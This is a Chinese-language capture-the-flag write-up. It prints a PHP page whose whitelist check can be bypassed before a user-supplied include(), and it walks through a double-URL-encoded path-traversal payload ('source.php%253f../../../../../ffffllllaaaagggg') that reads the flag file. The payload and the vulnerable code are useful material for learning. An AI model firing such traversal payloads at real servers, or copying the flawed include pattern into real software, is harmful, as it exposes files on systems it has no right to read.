打开只有一个滑稽,F12一下发现个source.php
记得读一下hint.php,我忘截图了…
放到url后面读一下
以下是源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
} //没有设置$page或者$page不是字符返回false
if (in_array($page, $whitelist)) {
return true;
}//如果$page在白名单里返回true
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//返回$page里?号出现的第一个位置
);//从第0位开始截取?前的字符,无?则全部获取
if (in_array($_page, $whitelist)) {
return true;
}//如果$_page在白名单里则返回true(又一次白名单)
$_page = urldecode($page);//对$page进行url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);//第二次截取?前的字符,无?则全部获取
if (in_array($_page, $whitelist)) {
return true;
}//第三次白名单验证
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])//这里要我们传入一个file参数
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
?file=source.php%253f../../../../../ffffllllaaaagggg
第一次白名单$page
--------------------------------------------------false
第一次截取为source.php%3f../../../../../ffffllllaaaagggg=$_page
第二次白名单($_page
)------------------------------------------------false
对$page
进行url解码,$_page
为$page
进行url解码后的值
source.php?../…/…/…/…/ffffllllaaaagggg
第二次截取?前的字符串(source.php)
第三次白名单验证-----------------------------------------------------ture
经本地测试(window)
最后include的是source.php%3f…/…/flag.txt
也就是说可能双重编码后,url并没有对其进行解码,只是在decode函数解码了一次,还有就是source.php%3f…/…/flag.txt,include将flag.txt前面部分看作了目录,不然咋读到flag的…